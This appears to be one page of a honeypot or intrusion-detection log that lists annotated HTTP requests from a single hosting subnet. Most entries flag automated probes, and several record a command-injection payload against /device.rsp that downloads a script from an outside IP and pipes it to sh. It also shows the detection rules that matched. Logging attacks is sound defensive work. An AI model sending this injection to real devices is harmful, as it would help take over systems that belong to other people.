Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#37 2025-08-17 20:07:52 event 15931246 POST 400 bytes 264

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#38 2025-08-17 20:07:52 event 15931245 GET 400 bytes 166

ann base label observed

Request event observed

login.cgi

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#39 2025-08-17 20:07:52 event 15931250 GET 400 bytes 166

ann ua 8 label ua

Request Very short User-Agent string

login.cgi

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#40 2025-08-17 20:07:52 event 15931245 GET 400 bytes 166

ann ua 8 label ua

Request Very short User-Agent string

login.cgi

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

login.cgi

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#41 2025-08-17 20:07:52 event 15931251 POST 400 bytes 264

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#42 2025-08-17 20:07:52 event 15931246 POST 400 bytes 264

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#43 2025-08-17 20:07:52 event 15931251 POST 400 bytes 264

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#44 2025-08-17 20:07:52 event 15931251 POST 400 bytes 264

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#45 2025-08-17 20:07:52 event 15931246 POST 400 bytes 264

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:pipe_or_redirect

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:pipe_or_redirect

conf

75.00

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:pipe_or_redirect

details

Pipe/redirect operators in a context that resembles command execution. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#46 2025-08-17 20:07:52 event 15931246 POST 400 bytes 264

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F207.244.199.152%2Ftbk.sh%20-O-%20%7C%20sh

referer

-

UA

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

Suspicious command parameter combined with a recognized command token. Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget http://207.244.199.152/tbk.sh -O- | sh -'

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#47 2025-08-17 20:07:51 event 15931243 GET 400 bytes 666

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#48 2025-08-17 20:07:51 event 15931241 GET 400 bytes 666

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#49 2025-08-16 22:13:53 event 15138860 GET 301 bytes 178

ann base label observed

Request event observed

/

referer

-

UA

-

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

-

summary

event observed

details

—

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

#50 2025-08-16 22:13:53 event 15138860 GET 301 bytes 178

ann ua 8 label ua

Request Very short User-Agent string

/

referer

-

UA

-

Annotation facts

label

ua

rule

ua:very_short

conf

65.00

details

Short/generic UAs are common in basic scripts and commodity automation.

More (full fields + snapshot) expand

url

/

referer

-

UA

-

summary

Very short User-Agent string

details

Short/generic UAs are common in basic scripts and commodity automation.

subnet

195.96.129.0/24

asn

57043 — HOSTKEY B.V.

geo

The Netherlands, North Holland, Amsterdam

org

MB Eisina

Page 1 of 2

← Prev Next →